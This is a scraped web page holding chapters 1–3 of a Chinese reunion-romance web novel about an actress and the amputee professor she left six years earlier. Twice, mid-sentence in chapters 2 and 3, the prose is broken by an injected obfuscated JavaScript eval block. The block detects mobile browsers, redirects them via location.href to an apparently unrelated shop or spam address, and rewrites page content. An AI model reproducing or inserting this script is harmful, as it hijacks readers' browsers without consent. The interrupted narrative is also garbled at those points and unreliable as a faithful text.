《绯色失格[破镜重圆]》 1. 第 1 章 五月暮春,钻出云层薄阳洒下大片深橘黄,摇晃不止的枯叶光点跳跃,几缕穿透叶片间隙,投射在席地而坐的两人身上。 穿着米色长裙,罩着黑色运动衫的女人安心地趴在挨着她的男人左腿上,呼吸浅浅,混在糅杂湿气和残留的酒气的空气中。 一只黑色双肩包,三只未开封的啤酒罐和五只侧躺着的空酒罐,占据野餐布三分之的地方。 山顶有猎猎的风,餐布左上角随风起落。 日出很美。 靳子煜抬手轻轻拍了拍孟秦书的肩:“小书,太阳出来了。” 两人凌晨三点爬上这座百米高的山坡,就是为了看这绝美的日出。 孟秦书有听见这道声音,纤长自然卷曲的睫,颤了颤,发出小猫似的嘤咛。 又如小猫扭动了下身体,才扶地坐起。却忘了身上披着靳子煜的外套,衣服自身上滑落,还是男人眼疾手快拿了去,三两下就将衣服穿好。 孟秦书转眸看着他——星眸皓齿,朦胧的天光勾勒出他轮廓分明的面部,整个人无比柔和,充满了神性。 恰如初次对他动心个暴雨的傍晚,书店大门漏出得光辉自他周身洇开。 “看什么呢?” 被她盯得紧,虽说这不是孟秦书头一次这么看他,靳子煜仍习惯性地感到不好意思。 那道极轻的笑声是愉悦、害羞的,孟秦书跟着憋出个笑,狐狸眼弯弯,她拿了罐啤酒起身。 伸出另只手,递给靳子煜。 男人将自己的右手交给她,左手再一撑旁边的石头,利利落落地起身,随后稳了稳身形,站得笔直。 他只有一条左腿,右腿只余十八公分,刚好过臀部,他的裤子也和他人不同,右裤腿截掉一半,再用针线缝合——这样别出心裁的设计出自母亲之手。 孟秦书放开靳子煜的手,她弯腰捞来靠在石头一侧的腋拐,交到他的手里。 靳子煜将腋拐架在右腋下,陪她往前走两步,两人转身,面朝朝阳。 日出真的很美。 孟秦书卡茨打开罐头,她微扬雪白的下巴,喝了口酒:喉咙里随意哼出轻轻的曲调。 ——是她这段时间排练的曲目。 风忽然大了起来,吹乱了孟秦书的头发。她没去拨,任发丝拂过眼尾。靳子煜顺着她的视线看过去,此刻太阳已完全跃出云层,喷薄而出的红日,撕开深蓝的天幕。 “小书,天亮了。” 两人望着同一个方向,静静看了良久。也许是酒劲上来了,孟秦书微微抬起双臂,原地转了一圈,裙摆荡漾,娉婷多姿。 酒罐还在她手中,靳子煜伸出手想去接住那罐子,怕她洒了或摔了。 她瞥他一眼,狡黠地躲开半步,双臂抬至半高,慢慢地旋转起来。 风声和着远处依稀的鸟鸣,哼唱声未断。 孟秦书是跳中国舞的,而且跳得尤其好。 他见识过在舞台上闪亮发光的学生孟秦书,见识过在培训班里教孩子们跳舞的孟老师,还见识过只为他一人跳自编曲目的小书。 一圈、两圈、三圈.... 舞蹈对她而言,等同于刻在骨子里的基因,信手捏来。 白纱裙荡漾如海浪,轻盈优雅,日光为她镀了一层金边,宽松的长袖恍若白蝶的翅膀,不,她就是一只最优雅的蝴蝶,如此曼妙、唯美,令人叹为观止。 发丝轻扫过他的鼻尖,清香萦绕,他刚回过神,左手被她握住,缓缓举至头顶。 金黄铺成山顶,日出为幕,微风为乐,她旋转,再旋转…… 紧接着,少女发出清凌凌的笑声,如同阳光下吹散的蒲公英的籽,挠过他的耳朵,惹得他耳根又开始发烫。 “轰隆——” 雷声骤然响起,撕开寂静,也同时惊醒了沉在梦里的两人。 他们同一时间坐起身,又同一瞬间侧过头,目光穿透昏暗的房间,望向被暴雨拍打的阳台。 孟秦书掀起被子跳下床,趿拉拖鞋,疾走到阳台,关上两扇半开的玻璃窗。 仅几秒钟,她就被雨水淋了半湿,真丝布料粘着皮肤,冷得她打了个哆嗦。 “砰!” 惶惶中,靳子煜连人带被的滚下床,他扯开卷住身体的被子,抬手握住床头柜的边,稍一使力,站起身,再将被子扔回床上。 而后径直跳到阳台。 他单腿跳时的平衡力一向很好,想当年还是篮球队的一员。 关上窗子,靳子煜返回卧室,顺手摁亮了主灯。 一瞬地光亮刺得他眯起眼睛,回到床边,他坐下来,修长如玉的手指蜷了蜷,缓缓抬起放在剩余不多的右腿上,掌心下移,包住截肢后丑陋的缝合面。 “那些人说得对,我就是玩玩你,结果你还真当真了。我再说一遍,我现在玩腻了,不想玩了,明白了吗?” “小书.....小书,你再玩玩我,接着玩我.....好不好?” “靳子煜如果你还有自尊就离我远点!” “滚——” 快六年了,分开时,她留给他的这些话语,他每个字、每个音,它们似锋利的刃子,刺进他的心,搅烂他的肉,血肉模糊难以愈合,令他在之后无数个日夜痛不欲生。 后来他用新的事物、疯狂的工作、新的笑声、一层一层往下压,最后盖上厚厚的土,终于过去了,他以为这样就好了。 可今日,只是她一个虚晃而过的背影,便震荡了他的心,过往如洪水冲塌堤坝汹涌而来。 无可抵挡。 —— 【经年而过】剧组正在海市大东校区取景拍摄。 东校区属于新校区,半年前就已全面竣工,只是尚未正式投入使用。 崇明楼周围拉起了一圈隔离带,学生们已将这里堵得水泄不通,喧嚷声盘旋在半空。 一辆白色房车绕过人潮,停在教学楼后面,车门划开,穿简单白T,带淡蓝色口罩的南寒跳下车,在一声声“南寒”中,她头也未回,火速冲入教学楼里。 声浪还未完全落下,又一辆房车驶入。池俊的粉丝激动地尖叫起来。 男人从容下车,转身朝人群的方向挥了挥手,顿时将现场的沸腾推向高潮。 直至他的身影消失在楼内,喧闹声才逐渐平息。 这是一场大戏。小教室内坐满了充当背景的群众演员——都是本校的学生。 孟秦书与池俊一同走进教室,立刻引来一片压低了的惊叹,以及细细碎碎的“南寒”、“池俊”。 三楼实验室,学生小叶遇到了困难,她自电脑脑前抬头,带着这个问题,前往一墙之隔的实验室办公室。 听见敲门声,靳子煜手写完最后一捺,看向门口。 小叶一脸欲言又止的愁容,他请她进来,并将论文手稿推到一边,顺手整理了下桌面,才在椅子上侧转身,仰头询问刚站定的她是遇到什么难题。 小叶是他带的硕士研究生,细致、谨慎、善于发现问题。 女孩不紧不慢地、逻辑清晰地讲明自己遇到的问题同时推理出的三个结果导向一并告知。 靳子煜边听边颔首,再等她停下来后,给出解决方案和方向,最后,他给以信任、鼓励的目光加以引导。 “细胞外环境的影响在二维模型里容易被简化,你就按这个思路走,去尝试看看。” 小叶大受鼓舞,点头:“教授,那我先出去了。” 在生医工这批教授中,靳教授不是资历最高的,经验最丰富的,但一定是最年轻、最帅、最温柔的一个。 他像天边柔和月亮、像静水流深、亦像温柔光滑的宝玉。 总而言之,美好得不像个真人。得到靳教授的微笑回应,小叶乐颠颠地转身离开。 楼下忽然变得安静,应该是“老师”正在给学生们上课。 海市大建校至今已有一百二十年,从未承办过任何商业拍摄,这次破例,一是因东校区全新未启用,二来也想借此做个宣传。 用校长开会时候话来讲,这么漂亮的新校区应该展示展示。道理很简单,好比一个人终于穿上了好衣裳,自然也会想“炫耀”一番。 二楼窗沿上飞来一只麻雀,停了几秒钟,又飞离。 靳子煜抬起头,做了个扭 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孟秦书是演员,三年前出道演了很多戏,最早他是从亲戚那里得知的,从挥汗淋漓的练功房到千万人前的大舞台,对受惯了鲜花、掌声、注目礼的孟秦书来讲大抵并不无两样。 这场戏拍得出乎意料的顺利,不到一小时便宣告收工。早就准备好签名卡的学生们一拥而上,分成几拨,将四位主要演员团团围住。 孟秦书快速签完所有递到面前的卡片,率先离开,助理小张拿着伞和外套紧跟在后面。 “南寒姐。”刚到楼梯口,小张忽然叫住她。 孟秦书转身,见对方眉头紧皱、龇牙咧嘴,一副强忍痛苦的模样。 “我、我肚子疼……南寒姐,您能不能等我几分钟?” 肚子疼。孟秦书盯着小张,工作以外的事情,她的反应总是慢半拍。片刻后她才走上前,接过小张手里的东西:“去吧。” 孟秦书本打算往楼下走,想了想还是决定留在原地等待。就在这时,楼下传来“哒哒哒”的高跟鞋声,由远及近,正往楼上来。 “阿姨您真的不用担心,我和子玉都挺好的。” 孟秦书意识到自己站在通道中间,便往旁边挪了几步,几乎贴墙而立。余光里,正在讲电话的女人笑容明媚,不知电话那头说了什么,逗得她咯咯笑起来。 “哎呀我一不小心说快了,不是您想的那样……我是说,子玉很好,一点事都没有。” 女人踏上平台,细白的脸颊浮起淡淡的红晕。她一边听着电话,脚步微顿,随即左转加快步子往楼上走去。 孟秦书向来不爱管闲事,只是女人口中两次出现的“子玉”,让她的心轻轻颤了颤。哪怕只是同音,哪怕此“子玉”并非彼“子煜”。 说起来,这么多年过去,她还是第一次听见同音的名字。 子煜,子煜。梦里她已唤过这名字无数次。 心里涌起一波细细密密的痛,她是个十恶不赦,玩弄人心的坏女人。 脚步声消失在楼梯拐角,孟秦书黯然垂下眼帘,缓缓吐出一口浊气。 可忽然间,一阵眩晕袭来,呼吸也随之发紧。 也许是近期减肥太猛,导致低血糖了。她第一时间后退靠住墙,抬手扶住墙面,试图稳住身体。 “南寒!” 刚从教室拐出来的池俊,一眼看见她摇摇欲坠的样子。 惊愕之余他反应迅速,快步冲上前,一把扶住了她的左臂。 孟秦书眼前一阵黑一阵白,她费力地抬起眼皮,抵抗着即将昏过去的晕眩。 忽然,身体一轻——池俊竟将她打横抱了起来。 她的头枕在男人结实的手臂上。尽管心里并不喜欢这样的姿势,也存着些许抗拒,但身体极度的不适与仅存的意识,让她无法做出推开好意的举动。 男人抱着怀里的女人走下楼梯,高大的身形,平阔的背部,每一步都沉稳有力。 靳子煜站在通往三楼的平台上面,漆沉的双眸一瞬不眨地锁着那个男人。 红漆扶手,质感细腻光滑,他五指紧握住,冷白手背上青筋盘错。 2. 第 2 章 她被池俊抱下来,放到车上,引发两边粉丝剧烈尖叫。 这事一定会上热搜。早在这部剧开拍前的开机宴那日,两人因深夜对剧本就被写成——#深夜“鉴赏”?南寒与池俊被拍共处一室,逗留两小时!# 两小时后,公关部在凌晨一点发出工作人员一起围炉聊剧本的视频澄清,并附文:只是对剧本。 当时全网嗑CP嗑得正起劲,这则声明如一盆冰水泼进沸水,热度迅速降温,成功将观众注意力引回作品本身。一场完美的预热、固粉与提纯的公关操作就此达成。 至于池俊这一抱,对男演员而言,是绅士风度MAX,可靠男人形象,无论从哪个角度写都非常圈粉,极能博取路人好感。 就连她本人——拍戏晕倒,敬业拼命的形象,也是正面积极的。总而言之,不但不是坏事,反而是无心插柳的大好事。 车上备着的水果只有草莓,助理小张喂她吃了五颗,孟秦书渐渐恢复过来。从事发到清醒,前后不到十分钟。 果然是低血糖。 上次突发还是在去年,那天她晕在家里的客厅地上,幸好经纪人娜姐上门发现,当时把娜姐吓得不轻,赶紧叫救护车送她去了医院。 低血糖症状来得快,去得也快。孟秦书撑起身,向站在车外一直关注她的池俊道谢,并告诉他自己已经没事。 说来也怪,外面明明有无数道目光投向他们,她却总觉得其中有一道,有种说不出的异样,仿佛来自上方。她循着感觉探出头,撩起眼皮往上看。 日头还烈,阳光倾泻而下,刺得人几乎睁不开眼。而目之所及,每层楼的走廊都空荡荡的,什么也没有。 五月本该是凉爽宜人的,只是最近几日气温一度到三十度,微风吹在人身上是热的。 苏真真不明靳子煜为什么站在走廊上发呆,不明他又突然像看到什么不该看的似的转身就走。 无措与慌乱从男人俊逸非凡的脸上一闪而过,极罕见的失态,让她无端生出畏惧,到唇边的问题,咽了咽喉咙还是吞了回去。 于是,她便无声地跟着他,跟他一级一级慢慢下楼梯,他腿脚不便,大概为了保持端正笔直的仪态,每一步都是踩到实处,再放下另一条腿。 苏真真至今清楚记得,初见靳子煜时那一眼的惊鸿。 那是在两年前,学校的新学期教职工大会上,男人作为新晋的副教授,拄着手杖上台站在主席台前发言。 聚光灯金黄色光束斜切过去将他整个罩住。合身妥帖的纯黑西装衬出他高瘦挺拔的身姿,精心打理过的头发下面露出一片光洁的额头,在他低头时,几根额发落在英气逼人的剑眉上,可偏偏面部轮廓是偏柔和的,那是种很周正正统的英俊,是父母眼中合格男人的样子。 他是这般好看,好看到可以让人无视掉他身上那不值一提的不完美。 刚到楼下,靳子煜如梦初醒般,问她:“苏老师,您有什么事吗?” 他半阖眸,浓睫垂落在眼睑边缘,瞳孔里翻着几颗光点。 什么事……正事倒被她忘在了脑后。 苏真真怔了怔,有些不适应长久的对视,便将视线移开些许,定格在他微微泛红的眼尾。 “阿姨昨晚给我发信息,问你感冒好了吗?我——” 还没说完,她听到头顶极轻的笑声,如山泉般般温润。 悦耳好听。 “关于感冒这事,我妈前日在电话里问过我,我给出的回答是已经好了……” 靳子煜清明的眸光掠过苏真真发红的右耳,略作沉吟后嘴角微翘,道:“劳烦你为这事专程跑一趟,实在过意不去。我母亲那边我会再跟她说清楚,免得她总为这点小事再打扰你。” 苏真真掀起眼皮,一撞上他认真而感激的目光,又快速垂落下去。 “苏老师,多谢。” 男人话语说得谦和得体,既承了她的情,又礼貌划清边界,字里行间透着不容逾越的分寸。 苏真真平素就不是温软的性子,那点娇羞也只是因遇到喜欢的人而生出。而现面临一而再再而三地被婉拒好意,心底的烦意加上空气的燥郁,仿佛瞬间拧成一股绳,勒得她升起逆反之心。 她蓦地高抬下巴,对上靳子煜的漆黑的瞳仁,嘴角一弯,微笑:“靳教授这样说可就太见外了。要说起‘打扰’,上个学期,我为了那篇论文,可没少在休息时间向您请教。那时候您耐心讲解,末了不还笑着跟我说‘学术交流,教学相长,何谈打扰’。” “所以刚才路过,想起阿姨的叮嘱,顺口就来问一句您的身体,在我这里,就和当初向您请教问题一样自然。” 靳子煜不直接拒绝她,便是因两人这层“同事”关系,既然他用漂亮话来维持体面,那她用同样的方式‘回怼’又何尝不可呢? 更何况,苏真真从不觉得喜欢是什么“丢脸”的事情,退一万步说,哪怕将来不成,那也只是不合适,什么‘恨海情天’指定是狗血电视剧看多了。 靳子煜定定地看着她,或许是在思索别的说辞。过了几秒,先响起的却是突兀炸响的下课铃。 两人纷纷一惊,尤其苏真真反应很大地退后半步。 新校区只开放了几个新型实验教室,集中在这栋楼,学生们可能是去图书馆又或是去赶下节课,争先恐后从他们旁边经过。 一声声“靳教授”、“苏老师”中,喧嚷的尾音还未淡去,学生们早已跑没了影。 —— [经年而过]微博上刚出物料时,她的影迷会粉丝团团长小米曾私信过她,告诉她[经年而过]虽然在书圈很火,但最有CP感,故事线最好的反而是书里的男二、女二。 小米代表着粉丝团队,他们的意思很明显,不希望她拍。她回了近百字感谢支持、感谢厚爱的话,只在最后一句写“我知道了”。 孟秦书出道三年,但她一出道就凭一部青春校园剧爆火,剧播完微博粉丝超千万。由于吸收的校园粉基数大,活跃度高,话题热度更是频繁占据榜首,同年她就因超高人气观众投票推举登上央视春节联欢晚会,运气好到令所有同行妒忌。 占着这个优势,除却大导演的电影或是主流正剧,古偶、青春都市剧剧本任由她挑选,乃至可以提出吻戏需要替身这种要求。 至于为何不听粉丝劝告还接这部戏?是因为她还有八个月和公司合约到期,而在离开公司前必须用自己的流量奶新人,只是履行合约义务。 公司也曾多次挽留她,老总傅声更是亲自出动与她交心深谈,不是那些人对她感情有多深,而是她的商业价值值得谈。 孟秦书抬眸看着眼前的梳妆镜。镜中人,披着一头自然弯曲的栗色大卷发,柳叶眉,朱红唇,妆容精致到头发丝,她不是标准的瓜子脸,她觉得自己脸型更靠近鹅蛋脸。 她不禁想起三日前她学生扮相的生图流出,网上对她外貌的评价声音尤其大,有人说她过了二十八后肉眼可见的老了,不适合装嫩,也有人回怼那些人,姐姐这是可盐可甜。 好在校园只是回忆,一共不到十场戏。说实话,她还是挺在意外部对自己的评价的。 今天孟秦书扮演的女主有一场高潮戏份,她穿着男主送的高定礼服,去半山酒店参加男主弟弟的生日会。 不同于昨天一个镜头,今日这场戏光镜头脚本就有二十三个,不NG的情况下一个白天能搞定,若是出现意外状况恐怕得工作到凌晨。 趁还有半小时出发,孟秦书躲去三楼东南角的露台,点燃一支烟,坐在白色铁艺圈椅上,叠起修长笔直的双腿,视线慢扫过周围一栋栋拔地而起的高楼大厦。 她不记清从哪天开始厌倦这座繁华的大都市,应该是年初把所有欠账还清,不,应该更早。 如果没有发生那件事,没有分手,那她应该就留在了宜平市,她喜欢那里的海风,喜欢那里的公交车,喜欢古色古香得人来人往的街道,喜欢那里的……人。 眼眶里热得难受,她吸了口气,这时候手机振动起来,孟秦书瞥了眼上面那一串电话号码,归属地港城——不是陌生人,只是她没去添加姓名。 她拿起手机,划屏接听,然后贴着左耳,静待那边先开口。 烟还剩半根,猩红火星,忽明忽灭,飘起的白烟盘旋着散开。 听筒里传出老人浑厚有力的嗓音: “阿漓,半年没见了,六月十九日爹地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025916|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生日,返嚟一趟。” “嗯”她语气寡淡。 “电视上那小孩系唔系你男朋友?” “与你无关。” 说罢,她径直挂断电话。 孟秦书低下眼帘,长密的睫颤了颤,随手将烟头摁在烟灰缸里。风吹着她的发丝,一遍遍扫过眉眼,她紧咬下唇,咬到唇色泛白,双肩微微发抖。 脸颊被发丝挠得痒,她微微偏头,一大颗泪顺着脸颊淌下,砸在桌面上碎得四分五裂。 大概是演员的通病,一点点小伤感,就被易感性十倍放大,泪水说来就来。 —— “冯教授。” 美院的冯剑锋教授刚下课,在教室门口被靳子煜温声叫住。 “靳教授,好久不见,是路过吗?” 海市大作为一所综合性院校,占地面积广阔,主校区容纳了两万多名师生。美院与生医工之间相隔甚远,教授、老师们平日里鲜少往来。 两人的相识要追溯到一年前,在冯剑锋妻子经营的美术工作室里。那天,靳子煜久久伫立在他妻子创作的那幅《霓裳遗韵》前,深凝着,看了很久很久。 冯剑锋颇感好奇这幅画哪里吸引了他,就走过去和此人聊了几句。男人笑了笑,只说这幅画让他想起曾看过的一场演出,还问他是这儿的老板吗? 冯剑锋去把妻子叫过来,男人说出对这幅画的直观感受,言语间皆是喜爱和欣赏,然后才礼貌问价。 聊天中他和妻子得知男人是海市大的老师,一下感觉多了几分亲切,最终这幅画以八万的价格,半卖半送给了这位靳教授。 后来一来一去两人还成了志趣相投的朋友。半年前他的母亲查出胆囊癌,他也就聊天时随口提了一句,靳子煜就放在了心上,第一时间为他联络到了京市胆囊方面最顶尖的专家。 两人多走了几步,停在长廊拐角,靳子煜没同他拐弯抹角,道明此番来意。 “冯教授,我来实则有个不情之情,我听说您在【经年而已】剧组担任美术指导,我的一个表妹,特别喜欢里面的一个女主演,叫南寒。她想送这位女演员一些小礼物,还想要一个签名,冯教授——” “唔~~”冯教授听明白了,温声打断:“没问题,我正要出去剧组,你的小礼物带了吗?” 说着他的余光自靳子煜左手上提的那只浅绿色礼品盒快速扫过,再点头:“我家小孩十八岁了,也追星,说什么将来也要做万众瞩目的明星,我看啊,现在的小孩看到明星风光,赚钱容易,一个个都想走捷径,小小年纪就不学好。” 靳子煜顺着他的话茬道:“冯教授说的是,行业浮躁,浮华万千,的确容易让人迷了眼睛。” 冯剑锋认可地点了下头。 他很喜欢和靳子煜这种温雅有礼,说话又句句在点上的人聊天,不费劲、舒服自在。 有什么说什么。 “不过,”靳子煜话锋一转:“我表妹喜欢南寒倒不是因为这行容易。” 冯剑锋递出愿闻其详的眼神。 “我表妹对她的欣赏,更接近于一种‘价值认同’。”她跟我说,南寒初出道时,为了一场跳海戏,在冰水中坚持了五个小时,让她联想到一个传播学概念,叫‘模范的可见性’。普通人践行一项美德,其辐射半径仅限于亲缘、朋友关系,而公众人物的同类品质,影响的会是数以万计的人,或许能让某个正处在放弃边缘的年轻人,觉得‘我也可以再撑一下’。” 冯剑锋因认同这套说法频繁点头,待靳子煜话毕,添了一句:“现在的孩子果然一个比一个有主意,见解还挺深刻。你这位表妹,是在读高中还是大学啊,靳教授?” 靳子煜垂眸一笑,轻声说:“大学。” —— 太阳终于落山,孟秦书站在酒店五楼的空中花园围栏前,夕阳将她的影子拉的很长。 庞然暮色如同打翻的深橘色颜料,裹住一栋栋冰冷的钢铁建筑物,在夜幕彻底来临前,暂留存着几分暖意。 “南寒姐——” 玻璃门被推开,小张拎着一只浅绿色礼品盒,三步并作两步的走到她旁侧。 提了提它,“粉丝送来的礼物。” 3. 第 3 章 副导演召集演员继续拍摄。 舞台中央,身着西装革履、扮作达官显贵的群演与仪态华美的名媛夫人们错落散开,各自就位。 两位导演环视片场,却发现女一号南寒不见踪影。王导一眼瞥见正大步向外走的池俊,急忙高声叫住:“池老师,您去哪儿?” 池俊脚步微顿,却未回头,径直出门右拐。王导追到门外,左右张望。 狭长的走廊里空无一人,只有壁灯投下淡黄光影。 如今网络时代,全民监督之下,艺人们大多注重言行,明目张胆的打骂冲突已不常见。但这些高流量、大牌位的演员,多少仍有些“公主病“或“少爷脾气”。 资方重金请来的主角,只要不太过分,剧组谁也不愿撕破脸,弄得两败俱伤。因此通常都尽量哄着一两位“大祖宗们”,只因他们今日心情好坏决定了是否能提早收工。 可现在,女一号南寒不知去向,男一号池俊又突然离场…… —— 靳子煜关掉办公室大灯,室内一下陷入黑暗,他没急着离开,而是掏出手机,回看两分钟前发给冯剑锋的微信信息。 JZY:八点三十,南门。 十分钟前,冯剑锋发来第一条消息,问他在哪儿。 他回:还在学校。 冯剑锋第二条消息紧跟着戳过来:几点下班?从哪个门走? 靳子煜什么都没问,编辑了时间地点发过去。 他顺便瞥了眼屏幕右上角的北京时间。 20:05 屏幕发出的白光映亮他的脸。他狭长的双眸微垂,密密眼睫投下小小一片阴翳,高挺鼻梁间,一颗极浅的褐色小痣尤为凸显,很冷淡。 20:10出租车突然一个急刹,孟秦书没拿稳手机,掉到脚下。 司机从后视镜里又扫了她一眼。孟秦书弯下腰,拾起手机,紧紧攥进掌心。 就在前一秒,她还在犹豫要不要先给靳子煜打个电话。 那串号码,她早已烂熟于心。 这些年,她有过无数次想打电话给靳子煜的冲动, 可每次都会想,接通了该说什么?道歉?请求?还是解释当年的真相? 但靳子煜还会愿意听到她的声音吗? 就像一个被长期欺负的孩子,绝不会想听施暴者的任何一句道歉。 孩子不需要道歉,他只希望那个十恶不赦的人永远消失。 想明白这一点,是在登上春晚后的第二天。 指尖掐进掌心,传来阵阵刺痛。孟秦书颤了颤目光,重新落回手上那个坚硬的盒子上。 盒子里装着治疗跌打损伤的药油、药膏,还有一只深红色扎口小布袋,里面装着十六颗红枣味的硬糖。 在层出不穷的新式糖果占据市场的今天,这种老式糖果早已销声匿迹。 她每次想买,都得去淘宝上大海捞针般地搜寻。可就算找到一模一样的包装和厂家,也再不是当年的味道。 天知道,她刚看到这些糖时,心跳得有多厉害。 在她的记忆里,只有靳子煜家客厅的餐桌上,那个粉色水果盘里永远装着这种糖。也只有他一个人知道,她爱吃这个。 那是个夜幕初垂的晚上。 商业街灯火璀璨,恍如白昼。 靳子煜侧过头看她,轻声说:“这么喜欢吃糖,将来我们开家糖果店好了。” 孟秦书放慢脚步,回望他,唇角轻轻一弯:“可我只喜欢这个味道。哎,你说,这世上还有多少人像我们一样,只爱吃这种糖?” 他停了下来。身旁服装店昏黄的灯光透过玻璃窗流淌出来,笼在靳子煜扶着腋拐的半边身躯上。他半张脸浸在暖光里,眼眸如星,温柔得不像话。 “也许不少。但人的口味变得快,尤其是尝过更多选择之后。” “那你怎么没变?” “大概是……念旧吧。”他顿了顿,反问她,“你呢?” “小时候爸妈一周只准我吃一次甜食……”她如实回答,接着凑近他耳边,柔软的唇不经意蹭过他的耳垂,压低声音说,“而且别的糖,味道总有点怪,没你家的好吃。” 靳子煜眼底的光霎时软了下来,笑意漾开。他抬手揉了揉她的发顶,语气像在许诺:“好,那以后在我这儿,你永远有糖吃。” 从那之后,每次两人出门,她觉得嘴里发苦时,伸手往靳子煜口袋里一摸,总能掏出一颗。 红枣糖……红枣糖…… 一定是他。他……愿意听她说话了吗? 孟秦书立刻找到那位美术指导。 冯老师只是剧组兼职,并不常驻,上次见他还是开机宴的时候。 听完男人讲得同事、表妹这个故事,孟秦书几乎可以确定那位同事正是靳子煜。 她心脏跳动很快,似乎到了嗓子口,她尽量稳着声音询问名字确认。 美术指导笑了笑,清晰念出三个字。 “靳子煜。” 见面,还是打电话?反复挣扎之后,孟秦书最终选择了前者。 有些话,终究要当面说才够郑重。 审判也是。 * 雨比上车前下得更大了,孟秦书下车,一手捧着礼物盒,一手握紧手机,踩着近十公分的高跟鞋,小跑到门卫室的挡雨棚下边。 来得着急,她身上穿的还是拍戏那件戏服。她快速用手掌交替抹去手臂上的雨水。 夜色浓重,雨水冰凉,气温较白天下降了至少十度。 孟秦书紧咬牙根,身体不受控地微微发颤。 门卫室里灯火通明。保安从玻璃窗望出去,隐约瞥见一个穿着类似婚纱的高挑身影站在雨棚下。 婚纱?这大晚上的……他心里嘀咕,下意识抬头瞥了眼墙上挂的圆钟。还好,才八点二十六分。要是深更半夜,非得把他吓出个好歹不可。 保安开门,走出去,再拉方便行人和小车通行的小铁门。 “你有什么——” 剪裁得宜的玫瑰粉绸缎长裙,长度一直到她的脚踝,肩带不过两指宽,垂落层叠的圆领弧线流畅,露出她雪白修长的脖颈和精致锁骨,微贴身的布料,如同第二层皮肤,描摹出那牵牛花般柔曼窈窕的身姿曲线。 视线再往上,那女人的脸被棉料黑色口罩遮住一半,那双细长的眼睛没什么表情依然摄人心魂,虽只半露,都可瞧出是个极出众的大美女。 雨声滴滴答答,雨夜校门口进出的人本就不多,但她这身装扮实在过于醒目。偶尔经过的学生,目光无一例外地会在她脸上多停留几秒。 孟秦书终究没忍住,给靳子煜拨过去电话。忙音声中,她整颗心高高提起,仿佛站在凛凛悬崖上,半只脚已露在外面。 但紧张之余又有一丝高兴,至少,靳子煜没有像她当年那样,决绝地将她拖入黑名单。 他没接。 或许在忙,或许……只是不想接。 孟秦书没有再拨第二次的勇气。握着手机的手无力垂下,鼻尖发酸,眼眶胀痛,她慌措地低下头颅。 视线刚低垂,眼前的光线骤然被一道身影挡住。 孟秦书倏地抬头,便见年轻的男保安站在她的面前,保安略迟疑地问:“请问您是找什么人吗?” 孟秦书1米75的净身高,穿上高跟鞋比保安还高出了半个头。她敛眸,先是摇了摇头,随即又觉得不对,再次摇了摇头——否认第一次摇头的意思。 嗐,她稀里糊涂的在做什么,保安未必看得懂,说不定还以为她有病。 “我找.....找.....”声音干涩的厉害,卡在喉咙里,怎么也吐不出来。 路灯昏黄的光晕与街道两旁店铺的霓虹混杂在一起,投射在湿漉漉的地面上,展现出一片光怪陆离、五彩斑斓的倒影。 马路对面一辆宝蓝色的保时捷安静地停在那里停了有一刻钟,雨水划过它光滑的车身,汇成一道道蜿蜒的水痕。 靳子煜静静地注视着副驾驶上躺着的那部手机,屏幕一片黑,刚刚熄屏。 他呼出一口很沉的气,靠回椅背,侧过头,从早已降下的车窗望出去。视线穿过厚厚的雨幕,再次落向校门口。 孟秦书背对着他,瘦长的身影在风雨中显得格外萧索、单薄。 他忽然觉得,自己用两天时间谋划的这件事,荒唐得可笑。 刻意送出那个盒子,预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025917|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着孟秦书见到时会是什么表情、什么念头。她那样厌恶他,或许早就忘了。又或许记得,想起他们之间那两年零星的点滴,然后狠狠地将它们,连同那个盒子,一并丢进垃圾桶。 靳子煜用力闭上眼睛,眼前全是收到冯剑锋第一条信息时的场景。他当时心是颤的,手指是发抖的,连视野都是晃动不止的。 孟秦书找他做什么? 跟他道歉还是又要来羞辱他一顿? 还是......后悔了。 还是, 又或是。 无趣了。 ...... 许许多多杂乱无章的猜测疯狂涌入脑海,撕扯着靳子煜的神经,搅得他太阳穴突突地疼。 靳子煜豁然睁开双眼,平视前方。 雨水淌满挡风玻璃,将窗外的一切变得模糊、扭曲 他的目的真的只是要恶心孟秦书吗? 鼻腔里逸出一声轻嘲,越看自己越得像个跳梁小丑。 情绪如同涨潮,褪去后,靳子煜按键升起车窗,发动了汽车。 雨刮器左右摆动,一下,又一下,刮开厚重的雨幕。他的视野时而清晰,时而再度被雨水模糊。 又是一声几不可闻的叹息。 靳子煜坐直了身体。 眼底的混乱渐渐沉淀,恢复成一片惯常的清明。他双手重新握住方向盘,指尖不再绷得那么紧,那么用力。 他想,官方统计数据显示,海市的常住人口有两千四百八十八万。 在这两千多万人里,两个人还能再遇上的,概率能有多大? 微乎其微。 算了,就这样吧。 以后,大概不会再遇见了。 靳子煜注视着前方被车灯照亮的路面,嘴角很轻地扯了一下,分不清是释然,还是别的什么。 他打了转向灯,车子缓缓起步,驶离街沿。 可就在汇入主路那一刻,那道粉色身影直直撞入他眼底,令他瞳孔骤然一缩。 隔着朦胧的雨幕和流淌的车河,马路对面的人行道上,孟秦书正逆着人流,独自朝前走着。 她没有打伞,对倾盆而下的雨水恍若未觉。 玫瑰粉的绸缎长裙早已湿透,沉甸甸地紧贴在她身上,细长的身形在风雨中晃动,整个人仿佛一株随时都会折断的芦苇花。 